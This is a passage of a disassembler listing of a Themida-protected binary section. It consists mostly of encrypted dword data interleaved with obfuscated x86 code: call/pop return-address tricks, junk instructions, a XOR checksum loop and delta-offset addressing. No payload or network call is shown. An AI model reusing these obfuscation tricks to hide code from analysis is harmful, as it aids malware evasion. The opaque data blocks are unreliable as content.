95FF5B79h, 7E431ADh, 1EBBF381h, 66962718h dd 50B937BFh, 0BE8h, 0F858E400h, 5B06058Ah, 8AD98C17h dd 6A965Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 0C9F5DBC3h, 0FF570E5Ah, 0E7F8A5B5h, 0E5BD8907h dd 0FF07E423h, 0E41B1195h, 51006A07h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 666B4CDAh dd 8344C8BBh, 0E40DF9BDh, 840F0007h, 28h, 1871BD89h, 569607E4h dd 505F9EB3h, 0F810Fh, 0AE90000h, 3E000000h, 0B015168Dh dd 682C6585h, 0BF669696h, 9B75FA3h, 0F8A5B5FFh, 6A07E7h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 0E8BB26C3h, 7D95FFEEh, 0FF07E402h, 0E7F8A5B5h, 68C0F07h dd 89000000h, 0E4068D85h, 7195FF07h, 0BF07E409h, 3C264CFCh dd 0BD835F51h, 7E40A21h, 4C840F02h, 33000000h, 0E41B659Dh dd 0B5858B07h, 8B07E41Eh, 0E42C319Dh, 0C607h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 97C35242h, 0D0E0583Ch dd 12E9h, 52843D00h, 0CE2F7EDFh, 78F2E5D8h, 608BC312h dd 0C790737Ah, 0E4267185h, 7, 8E900h, 0D2B90000h, 0FE170D90h dd 2FE998E5h, 66FFFFF4h, 0CFB2D781h, 6AC18Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 708B33C3h dd 1DFFB350h, 0FE946E2h, 9D000000h, 0DECE9DB0h, 0CD064FD2h dd 47105587h, 858D7819h, 7E40D85h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 96C35242h, 0B443945Eh, 8E0Fh dd 0BF500000h, 544B41E7h, 60240489h, 0E9FEB70Fh, 12h, 4BF87FBFh dd 2495CB1Fh, 95DA318Fh, 36B301Dh, 6A616D24h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 2DEBFC5Eh, 0BB26A59Ch, 3A0EB515h, 6A006Ah, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 6FD6C1C3h dd 53E3D4Fh, 0FB71858Dh, 8B0F07E8h, 2, 0C083FE8Ah, 8CC38005h dd 50F98B90h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 121E85BBh, 0EE9h, 43D4AD00h, 6677E274h dd 0EB4F0DD8h, 6AC77996h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 1BFD2161h dd 0DA8B661Fh, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 1CD89FC3h, 0FB70B37h, 86h, 0A19D8B00h dd 0FF07E418h, 0E4247195h, 0D1958907h, 8D07E40Ah, 0E7D64B8Dh dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 0E60B48A3h, 7E8h db 0 byte_5D1EDD db 0ACh, 0FEh, 0ACh ; DATA XREF: Themida_:00582F4Co dd 6D16D5AAh, 6870Fh, 9D8B0000h, 7E425D5h, 6600BB5Fh, 0D1FF36D6h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 68C35545h dd 834EAFC7h, 0E42015BDh, 850F0107h, 0D8h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0AEC35141h, 72BC90BBh dd 30A108DAh, 0AC1BD89h, 26A07E4h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 0A0C35242h, 8892B95h, 0E9075686h dd 13h, 0EEC9817Fh, 4714745Dh, 9730996Dh, 6E28F558h, 3AC05D8h dd 0E424C1BDh, 52509007h, 28F0Fh, 61600000h, 0BF66310Fh dd 585AF6E4h, 4880F50h, 66000000h, 90C81EBBh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 48C35646h, 2998589h dd 95FF07E4h, 7E431ADh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 0DEC35141h, 8631A36Ch, 0B989DAFDh, 0DC4E9h dd 0E800h, 815D0000h, 0E8FB7BEDh, 8B66F907h, 0E1858DDEh dd 6A07E7C6h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 0DF4FC353h, 0CB52D855h, 419B31FEh dd 22719529h, 509007E4h, 8990F88Bh, 0E4186985h, 0D9BD8B07h dd 6407E42Eh, 35FFh, 0BABF0000h, 64208852h, 2589h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 214B6AC3h, 85899047h, 7E420F1h, 20B985FFh, 0FF6A07E4h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 44C35040h dd 0BA7F7122h, 1000BF66h, 5CCCC781h, 0B5FF0E84h, 7E402D5h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 39C35646h dd 0A2228744h, 26859D8Bh, 8A0F07E4h, 3, 0FF95CF80h, 0E4304D95h dd 153E907h, 95890000h, 7E41695h, 89958B60h, 8907E409h dd 0E408A1BDh, 0B06107h, 0DE05DB81h, 70E61D13h, 71E4FB8Bh dd 0CE9h, 3671F00h, 0D65B1740h, 3C4ED891h, 0F613C21h, 11883h dd 0B1952900h, 8B07E422h, 0C8B60FF9h, 2669BD8Bh, 6BA07E4h dd 57000000h, 0A752C381h, 8B5B1847h, 6E8C1h, 0EA570000h dd 5FC80E45h, 2AB59D0Bh, 0F5B07E4h, 384h, 0D8BF0F00h, 8104E8C1h dd 0ADFCD7C3h, 0E2F7667Eh, 2BFE8B66h, 0D99D89C8h, 0B307E420h dd 8AD18BE1h, 9E8DEh, 87280000h, 0FAAEB506h, 0F439360h dd 686h, 95B58900h, 5B07E409h, 0A0E9h, 0CE86000h, 0A3000000h dd 0E93BDCE2h, 0F9EA2305h, 66F2861Ch, 615AF88Bh, 8858Bh dd 31600000h, 0E42B4DB5h, 0A9852907h, 6107E423h, 0F507C083h dd 0E900C083h, 0Dh, 275FAF1Eh, 0F41CA7BAh, 2FC4FFA4h, 0FD03BB4h dd 0F83h, 998D0100h, 0E907E422h, 49h, 0F4CABF66h, 0FFFF8D8Bh dd 890FFFFFh, 6, 0F959D8Bh, 0E18307E4h, 2A840F01h, 0BB000000h dd 0CBDEA28h, 0FFFFA583h, 0F9FEFFFFh, 89589h, 0BD330000h dd 7E4334Dh, 68C0Fh, 0BD2B0000h, 7E4087Dh, 0E9h, 5BB58D00h dd 6A07E87Ah, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 0F9BBC357h, 0F98B5763h, 6A006Ah dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 0D3BAFBC3h, 0FFDA8BF5h, 0E40E4195h, 56006A07h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 15A49A17h, 0DCB996F6h, 6A00000Fh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 5685C357h dd 0E18314C4h, 4FCF81FCh, 0FC49F9DAh, 2B5FF551h, 53006AC0h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 5C51CD80h, 0B5896006h, 7E41385h, 2D958Bh, 0BA6107E4h dd 0 ; --------------------------------------------------------------------------- mov [ebp+7E41291h], edx loc_5D232E: ; CODE XREF: Themida_:005D2338j lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_5D232E jmp loc_5D2353 ; --------------------------------------------------------------------------- db 7Bh dd 1F84685Ah, 9EF21B4Ah, 58C49AB7h, 0D3088C58h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- fcmovu st, st(7) loc_5D2353: ; CODE XREF: Themida_:005D233Aj movzx ebx, ax or eax, 88h push 0 push ebx call sub_5D2366 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D2366 proc near ; CODE XREF: Themida_:005D235Ep arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ch inc ebx push ebx retn sub_5D2366 endp ; --------------------------------------------------------------------------- dw 71B9h ; --------------------------------------------------------------------------- and al, 0ABh sub al, 76h mov ebp, ebp dec esp movsx edi, ax mov edx, [ebp+7E41B71h] push 0 push edi call sub_5D2393 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D2393 proc near ; CODE XREF: Themida_:005D238Bp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_5D2393 endp ; --------------------------------------------------------------------------- db 14h dd 8A0F3795h, 6, 31E9BD8Bh, 9D8907E4h, 7E40199h, 8BDFBF0Fh dd 0E42DA18Dh, 11E907h, 42B00000h, 8CDCED19h, 76B29BECh dd 2F64DDC7h, 503AC5D4h, 188BC28Bh, 188BC103h, 0E8D1C18Bh dd 188BC203h, 14E858h, 0D70C0000h, 308D88BDh, 6382657Bh dd 29E5C9D6h, 0EC6693D5h, 0B9BB5F95h, 5B1E5631h, 0CEE38166h dd 11BD837Eh, 7E406h, 5B840Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 655F5C3h dd 3DEDE02Bh, 0E9DF5284h, 6, 25170AFBh, 0B80ADDh, 0FC000000h dd 4FE78D8Dh, 6A07E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 0FF71B5C3h, 0B9BD83E1h, 7E422h dd 417840Fh, 8B660000h, 0B9BD83DAh, 107E422h, 422840Fh dd 95890000h, 7E40D81h, 22B9BD83h, 0F0307E4h, 3D986h, 14E900h dd 726C0000h, 0F04F6C2Ah, 0F6398E86h, 7F23C802h, 6A34B7Ch dd 0E8607CD9h, 0Fh, 241A043Fh, 5CB8DB5Ah, 3A63863Fh, 0B3FB4DBDh dd 8C665B17h, 51006AD9h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1B04h, 0C3514100h, 0F0E02B4h, 3D43EB4Ah, 0EE9h, 5873A200h dd 0FA8EC9E1h, 2FFBA440h, 8071E3C5h, 0BD3304E1h, 7E41849h dd 840FC90Ah, 139h, 0F9853360h, 6107E425h, 651858Bh, 6A07E4h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 50CC87C3h, 1CC41E5Fh, 85338863h, 7E42029h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 4BC35646h, 0C781DA8Bh dd 4AF3098Dh, 24048950h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 37C35040h, 61AB0701h, 6ADF8B66h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 858913DBh, 7E42AADh, 22D1BD8Bh, 0D06807E4h, 66060587h dd 810F1FBFh, 842F2434h, 8D01061Ah, 7E42ED9h, 2D9995FFh dd 6A07E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 0BA0A64C3h, 8589D72Ch, 7E7F8A5h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 31C35242h, 5E8h dd 0D791AF00h, 13E9F2A8h, 63000000h, 1B611CE2h, 3309D6A3h dd 8E637AF0h, 4685336Ch, 0E95B21E2h, 1B0h, 7B10B0BBh, 9D858B30h dd 6A07E7F8h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 2B1FC355h, 0BD0B004Bh, 7E426B9h dd 1800C7h, 10E90000h, 35000000h, 0A915393Fh, 53158BB6h dd 0D01BE089h, 8B8372A7h, 0E7F8A1B5h, 57006A07h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 7852BF6Ah, 72FADF2h, 0F171BF39h, 858B2EC1h, 7E40099h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0C4C35040h dd 89553F41h, 3D9D8B06h, 8B07E406h, 0E4065185h, 53006A07h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 8928EE1Ah, 0E418D195h, 7337BB07h, 468910DAh, 50006A04h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 499F02D7h, 0C745FD53h, 66508962h, 891D7BBBh, 6A2434h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 800F08C3h, 6, 850Fh, 0B5FF0000h, 7E7F89Dh, 918589h dd 0B96807E4h, 814C7A03h, 462434h, 6A4C65h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0C32A93C3h dd 0F9900823h, 0F8A5858Dh, 8B9007E7h, 899050F9h, 0E405F985h dd 9995FF07h, 6A07E42Dh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 5EFC350h, 60E27FE9h dd 0BE9h, 4C4C3500h, 0B9D2D8D5h, 4E6AD53h, 50006A61h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 0E44508DEh, 159D8BC1h, 0C707E42Eh, 0E422B985h, 307h dd 31BD8900h, 8307E40Bh, 0E7F8A5BDh, 840F0007h, 36h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 35C35040h, 0C154BD0Bh dd 0B33B2DF8h, 0F99D8BAAh, 0E907E417h, 21h, 16A1BD8Bh dd 305007E4h, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h dd 8B00EBE7h, 50006AC0h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1D04h, 0C3504000h, 0DAE12B8Dh, 5FBBCB65h, 2B603B53h dd 0E429F58Dh, 6A6107h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 0CE4870C3h, 83B2B363h, 0E422B9BDh dd 850F0307h, 46Fh, 7E9h, 79599F00h, 91FAF9B0h, 0F8A5BD83h dd 0F0007E7h, 45684h, 5E900h, 2D0E0000h, 81E64641h, 9ECFFAEBh dd 0A5B5FF53h, 6A07E7F8h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 0A6BFC353h, 819D337Fh dd 0FF07E431h, 0E4044D95h, 0A9852907h, 8B07E418h, 0E7F899B5h dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 0D0883A64h, 0A3D108EAh, 0C7E9B384h, 1000106h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 99DC483Eh, 8BD76E61h, 0E412B5BDh, 0B6605007h dd 860F6081h, 0 ; --------------------------------------------------------------------------- jmp loc_5D29FC ; --------------------------------------------------------------------------- db 43h, 0DAh, 5Fh dd 6E2F1E38h ; --------------------------------------------------------------------------- loc_5D29FC: ; CODE XREF: Themida_:005D29F0j popa popa mov [esp], esi or [ebp+7E427A5h], eax push dword ptr [ebp+7E7F8A5h] or di, 0B839h or edi, 3005777Eh call dword ptr [ebp+7E42A09h] mov [ebp+7E41519h], eax mov esi, [ebp+7E7F899h] push 0 push edi call sub_5D2A35 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D2A35 proc near ; CODE XREF: Themida_:005D2A2Dp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_5D2A35 endp ; --------------------------------------------------------------------------- db 7Bh, 0F9h, 0Fh dd 681h, 0A19D8B00h, 8B07E401h, 0E4316585h, 0BD8B5007h dd 7E40505h, 0C486895Fh, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0C4FBC353h dd 9D74A41Bh, 1B71958Bh, 6A07E4h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 9D8BE3C3h, 7E406E9h dd 6A04C283h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 977DC357h, 872E79BFh, 0B58962FCh dd 7E40A1Dh, 60205089h, 79B96650h, 0DE85B2Ah, 0A9000000h dd 191B8763h, 6E2C83F4h, 76BCF434h, 0FE8h, 8BCA600h, 5A1F5463h dd 0D8560184h, 197F269Dh, 8D615A5Ah, 0E80CD485h, 50006A07h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 1C9FAFDEh, 0F780AC8Ch, 81BD8BB1h, 8907E403h, 0B886h dd 0A5BD0300h, 6A07E400h, 0FF89B700h, 0E7F8A5B5h, 52006A07h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 7C53B266h, 0F2F978DFh, 31AD95FFh, 6A07E4h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0C84ADAC3h dd 180D43FBh, 0EF804010h, 5E8963Ch, 76000000h, 99283625h dd 2CA0BB66h, 6651505Bh, 965BFE8Bh, 2D1BD23h, 0B5FF07E4h dd 7E7F8A5h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 0BEC35646h, 0E98A8435h, 0DF25C916h, 5E9h, 0B3295B00h dd 95FFF2E6h, 7E41B11h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 0F4C35343h, 1AEA0A34h, 0BD83FD8Ah, 7E40DF9h dd 5A840F00h, 0E9000000h, 0Eh, 9ABE0BE0h, 23972F5h, 20FED821h dd 0E850708Ch, 12h, 0DDFC58A8h, 44656D9Bh, 5403DB23h, 42A3677Fh dd 0FD8A78DAh, 2434895Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 0F2C35747h, 6DBD89A4h, 8B07E42Dh, 0E40595BDh dd 0A5B5FF07h, 5707E7F8h, 9258589h, 0FF5F07E4h, 0E4027D95h dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 50A035F2h, 23898589h, 0FF5F07E4h, 0E7F8A5B5h dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 0B32EADCBh, 0AC66D37Dh, 1FDBD0Bh, 9D8B07E4h dd 7E432A9h, 97195FFh, 6A07E4h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 6D289AC3h, 0C09EA5C4h dd 0F5256AAh, 8Bh, 0F5F5F00h, 82h, 21BD8300h, 207E40Ah dd 51840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 0D9B34AC3h, 0F3EBDAE7h, 8BB7F581h dd 0E41EB585h, 859D3307h, 0C607E422h, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 0C7D3FFC3h, 0E4267185h, 7, 358D0900h, 0E907E40Bh, 0FFFFF2F2h dd 1B758529h, 0C18B07E4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 7DC35747h, 16E94Dh, 6050000h, 606Bh dd 4 dup(0) ; --------------------------------------------------------------------------- jmp loc_5D3310 ; --------------------------------------------------------------------------- db 0B0h, 0D8h, 0B6h dd 13330C22h, 738D697Fh, 0D6EAC9DFh, 35512C42h, 2922C8A1h dd 889E324Eh, 0E6FC90AEh, 485EF208h, 0CBF536Bh, 0A918DF5Ch dd 71B613ABh, 617956E2h, 64805B29h, 0D350B214h, 1442A02Ch dd 21D641AAh, 0AD1442A0h, 0FA103244h, 0EA910E1Dh, 681442A0h dd 0A06EA6FFh, 0A573ABC3h, 1074ACCCh, 0BCDAB452h, 3AD7E984h dd 0D4B14F0Ah, 0B390AABCh, 13F1079Bh, 9FD7EBCAh, 117AB04h dd 7D50D23h, 20D70F2Dh, 44221D49h, 0A7849A2Eh, 0D0AA578Fh dd 0CD1442A0h, 0D7285410h, 0E05C11h, 6Fh, 61795629h, 0A0817C29h dd 0E3A01442h, 1204FBA3h, 1D1E05Ch, 0FA000000h, 0D5D7D56h dd 437B916Fh, 477F9975h, 7B4153ACh, 64B4D4ADh, 0A0FE8502h dd 0F35C1442h, 6E4D1BE1h, 906C0A5Ah, 0BCE346Fh, 30899E73h dd 77F4581Eh, 577750CFh, 6D4BE9C3h, 0F72F4724h, 0D7F1035Ch dd 0F492E2FAh, 0C9EBFD19h, 80A87DEFh, 0DA5D79Bh, 528AA681h dd 92D0A5B7h, 976D020h, 62B2FDA0h, 42FA1EE5h, 4153BC14h dd 20FD4C27h, 6BBA7001h, 6AC3B5EDh, 0EE3E9732h, 0F812EE8Ch dd 0C5BA25C0h, 911442A1h, 0BE501628h, 867DFA5Ch, 541442A2h dd 0A2FB80EBh, 0EE571442h, 817E6C8Eh, 0FE10D50Eh, 0DEB80BE4h dd 0DEBA88C0h, 0DA126BC4h, 0AC93D39Ch, 0BA41BED1h, 181442EAh dd 5864FAFh, 7E7E441Dh, 5B37D525h, 5C6E0941h, 2F47243Ah dd 0C1A66DDFh, 54B1379h, 835F2DF3h, 86973169h, 51919EDEh dd 0A947E05Bh, 87A17DD0h, 4B28F62Eh, 29C8DA33h, 8Ch, 1BF49252h dd 0F4CFE9FBh, 700EA0D8h, 7C038097h, 0DA1442A0h, 12E01871h dd 0B3C51E34h, 6BA3BD99h, 63DA8A07h, 0AA1C6C88h, 17E95C9Ch dd 0BFDBB6D6h, 0E200DA66h, 0DBFD0FAAh, 96CEEAC5h, 9DD5E9C8h dd 7B2F203h, 3E768A69h, 79B691A3h, 7EE05C0Fh, 71h, 5F7B56A7h dd 327B5927h, 2973556h, 380A44FAh, 0B30CA7DFh, 6F179A7Bh dd 9AB08E2Ch, 0AC53D062h, 2A1442DEh, 6D0868C1h, 0BEFA765Eh dd 0DFBAD4E6h, 6199B590h, 8D96DC6h, 0CCB33092h, 8A1442A0h dd 1CF50F21h, 593AACFCh, 716EC66Eh, 7522E8FAh, 14421F8Bh dd 0EE82F0Eh, 915F97F0h, 0AC639BB5h, 0DFE191D5h, 0C53A6222h dd 12E05B52h, 1, 607A563Bh, 657D5A28h, 0E79F762Dh, 0EE829C78h dd 9EEEC0CFh, 0A691EB21h, 840A913h, 0F5455D3Ah, 18F593h dd 3DC22DC8h, 9913A692h, 0E6FC1E30h, 27B9F109h, 1399B0B5h dd 8D9FF179h, 0A6FEE994h, 0EC981B13h, 16360FADh, 0F50DEA04h dd 236E4B61h, 85D52E46h, 0E1F309E7h, 58704D1Bh, 6D19E220h dd 0ADFD15F2h, 0D720683Bh, 8799B7EBh, 31718E65h, 66D877h dd 8F000001h, 1C6C424Dh, 2E81A27Eh, 8E982936h, 0A17F91EAh dd 0A6D57A24h, 5FAF1813h, 29FB80FDh, 0EE5713A6h, 6B4816DCh dd 0CCA9BF53h, 4CEA7CB4h, 8520586Eh, 647C5973h, 6125EE2Ch dd 750921FEh, 7788619Eh, 58D537D8h, 13A625A3h, 15B4C62Fh dd 41h, 6A444D3Eh, 5F069D1Ah, 0E3556BBDh, 0D8495C8Ah, 79586AA3h dd 542BD810h, 5694426Ah, 6A4D78Fh, 0DBFE102Ah, 46A8F8B6h dd 0A27FCCA8h, 5EB7528Ah, 80798B26h, 0EBBD951Bh, 6C3ACE37h dd 6Fh, 6C424DFBh, 0B9F59F1Ch, 0FE9C13A6h, 35D00822h, 0A3DB4423h dd 4CE0F8D5h, 9415936h, 0A6BA5C5Ch, 7E1CE013h, 0B8538B9Fh dd 0E25D09A6h, 3A59ED05h, 0A7095955h, 1132D09h, 4FB24808h dd 54A91B14h, 96A99F1Bh, 8DF6D5E7h, 0E461C355h, 1B8F701Fh dd 19DE5BBBh, 0B51B8F70h, 0C7E1F34Ch, 0E39AD2EAh, 0B3DC580Ch dd 722EABFBh, 401C6679h, 4D7243D7h, 425E3942h, 0D53799E9h dd 42A0A358h, 0B4C62F14h, 0ABA9FFBBh, 1464CD13h, 457D9D76h dd 4A829A77h, 7E4456AFh, 27BBD3B0h, 0BE93411h, 75CEE4C2h dd 4737E41Ch, 0D27429A3h, 0D5A3DBF7h, 67A5DDFBh, 88AAE69Eh dd 7E45B0Bh, 0E5101CE8h, 0CA231E59h, 24432036h, 250B94CAh dd 442D34ECh, 99397D8Eh, 0E1AFE740h, 0C562E702h, 65C7BC39h dd 2A937B29h, 0FA0466CAh, 714C449Ah, 6EC7C6E5h, 0FCA87F36h dd 0F88CA481h, 0B5ED05E2h, 0F2Fh, 3E17B500h, 64BE1Eh, 20F26ED9h dd 3E8D390Eh, 245C7E56h, 29617956h, 2F677D5Bh, 31698761h dd 346C8863h, 376F8B66h, 3E768A69h, 427A9470h, 437B9B74h dd 0E38953EEh, 4C381h, 0EB830000h, 241C3304h, 33241C31h dd 535C241Ch, 0C381E389h, 4, 4EB81h, 1C870000h, 1C895C24h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push edx mov edx, 7E9095Ah mov ebx, edx mov edx, [esp] add esp, 4 push esp mov edi, [esp] add esp, 4 push esi mov esi, ebx mov [edi+8], esi mov esi, [esp] add esp, 4 push dword ptr [esp] pop edi add esp, 4 mov ebx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_58A287 ; --------------------------------------------------------------------------- dd 0FE86E03Eh ; --------------------------------------------------------------------------- loc_5D3310: ; CODE XREF: Themida_:005D2DE0j mov eax, 7E90E02h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 89h, 5Bh, 20h dd 5D54605Eh, 0D114857h, 1CFDE5Bh, 0BD372457h, 0D17B5E56h dd 4D891A7Bh, 0DE21667Eh, 0F82E851Bh, 4B31B2Fh, 45AD076Bh dd 143BD533h, 0CC39A129h, 0F87FB68h, 92400A34h, 0CE001744h dd 7B3B2525h, 4B55DD4Bh, 39BA0A60h, 0BE2E3937h, 0B76E2A5Fh dd 0FC96E131h, 0AD172B7Bh, 413FE53Bh, 0D1AB6327h, 0DFA1231Fh dd 0A62AE861h, 0C5778600h, 6C3D3678h, 46504B56h, 85858D74h dd 6A07E40Dh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 190AC355h, 4116D1A5h, 8FCE5C99h dd 0E950DD8Ah, 5, 46E715F7h, 240489BCh, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Bh, 0F3C35141h, 9666EDABh dd 6AD5898Eh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1804h, 0C3514100h, 6EDFC278h, 6A006AE5h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0C94C353h dd 7BE3477Ah, 9D8B896Eh, 7E4273Dh, 1117858Dh, 6A07E9h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 23265CC3h, 0E40105BDh, 5C08307h, 2518589h, 0F5007E4h dd 688h, 0F19D8B00h, 5F07E40Eh, 0C1BDBB90h, 8B502F8Fh dd 6A90D8h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 0DABD09C3h, 0E53F11C9h, 0D78166F9h, 6A8F98h dd 6AF8B70Fh, 5DBF6600h, 7195FFC3h, 8107E424h, 627821C3h dd 4B8D8D70h, 2907E7D6h, 0E42D5185h, 6AD1FF07h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 5E29C356h, 3C7D9205h, 85BD8B7Eh, 8007E400h, 0BD83CADFh dd 7E42015h, 97850F01h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0B63C355h dd 8929A1F3h, 8D091DEEh, 7E42FD1h, 6A026Ah, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 8C0FCBC3h dd 3, 5076CF80h, 3850Fh, 8B660000h, 240489FBh, 95FFDA8Bh dd 7E431ADh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 85C35545h, 0FE8CAh, 25FB0000h, 7871A5F9h, 4BC5078Bh dd 0D774168Ah, 0B7E95F55h db 0Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_5D35A7: ; DATA XREF: Themida_:005826DCo call $+5 pop ebp sub ebp, 7E91121h mov ebx, [ebp+7E40DADh] mov di, si push 0 push ebp call sub_5D35C7 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D35C7 proc near ; CODE XREF: Themida_:005D35BFp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_5D35C7 endp ; --------------------------------------------------------------------------- db 6Fh ; --------------------------------------------------------------------------- aad 0F9h lea eax, [ebp+7E7C6E1h] nop jmp loc_5D35FA ; --------------------------------------------------------------------------- dw 0A6EBh dd 83BF21D3h, 940A6609h, 456B725Fh, 0D8A2EC65h ; --------------------------------------------------------------------------- leave daa loc_5D35FA: ; CODE XREF: Themida_:005D35E1j push eax nop mov [ebp+7E42FBDh], ecx jmp loc_5D3610 ; 